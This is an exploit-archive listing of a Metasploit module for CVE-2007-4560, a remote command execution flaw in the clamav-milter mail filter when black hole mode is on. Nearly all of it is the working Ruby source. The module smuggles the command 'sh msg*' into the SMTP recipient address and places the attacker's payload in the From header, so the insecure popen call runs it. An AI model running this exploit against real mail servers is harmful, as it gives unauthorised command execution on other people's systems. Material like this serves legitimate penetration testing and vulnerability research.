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ClamAV Milter Blackhole-Mode Remote Code Execution

ClamAV Milter Blackhole-Mode Remote Code Execution
Posted Oct 28, 2009
Authored by patrick | Site metasploit.com

This Metasploit module exploits a flaw in the Clam AntiVirus suite 'clamav-milter' (Sendmail mail filter). Versions prior to 0.92.2 are vulnerable. When implemented with black hole mode enabled, it is possible to execute commands remotely due to an insecure popen call.

tags | exploit
advisories | CVE-2007-4560
SHA-256 | 043b522739cdc7453582b55c2d84f10b6d62ae02178d5c618b7212a148347eb0

ClamAV Milter Blackhole-Mode Remote Code Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Smtp

def initialize(info = {})
super(update_info(info,
'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
'Description' => %q{
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
When implemented with black hole mode enabled, it is possible to execute
commands remotely due to an insecure popen call.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-4560' ],
[ 'OSVDB', '36909' ],
[ 'BID', '25439' ],
[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Aug 24 2007',
'DefaultTarget' => 0))

register_options(
[
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
], self.class)
end

def exploit

# ClamAV writes randomized msg.###### temporary files in a randomized
# /tmp/clamav-#######################/ directory. This directory is
# the clamav-milter process working directory.
#
# We *can* execute arbitrary code directly from 'sploit', however the
# SMTP RFC rejects all payloads with the exception of generic CMD
# payloads due to the IO redirects. I discovered that the 'From:'
# header is written to this temporary file prior to the vulnerable
# call, so we call the file itself and payload.encoded is executed.

sploit = "sh msg*" # Execute the clamav-milter temporary file.

# Create the malicious RCPT TO before connecting,
# to make good use of the Exploit::Smtp support.

oldaddr = datastore['MAILTO']
newaddr = oldaddr.split('@')

datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"

connect_login

sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
sock.put(".\r\n")

# Clean up RCPT TO afterwards

datastore['MAILTO'] = oldaddr

handler
disconnect
end

end

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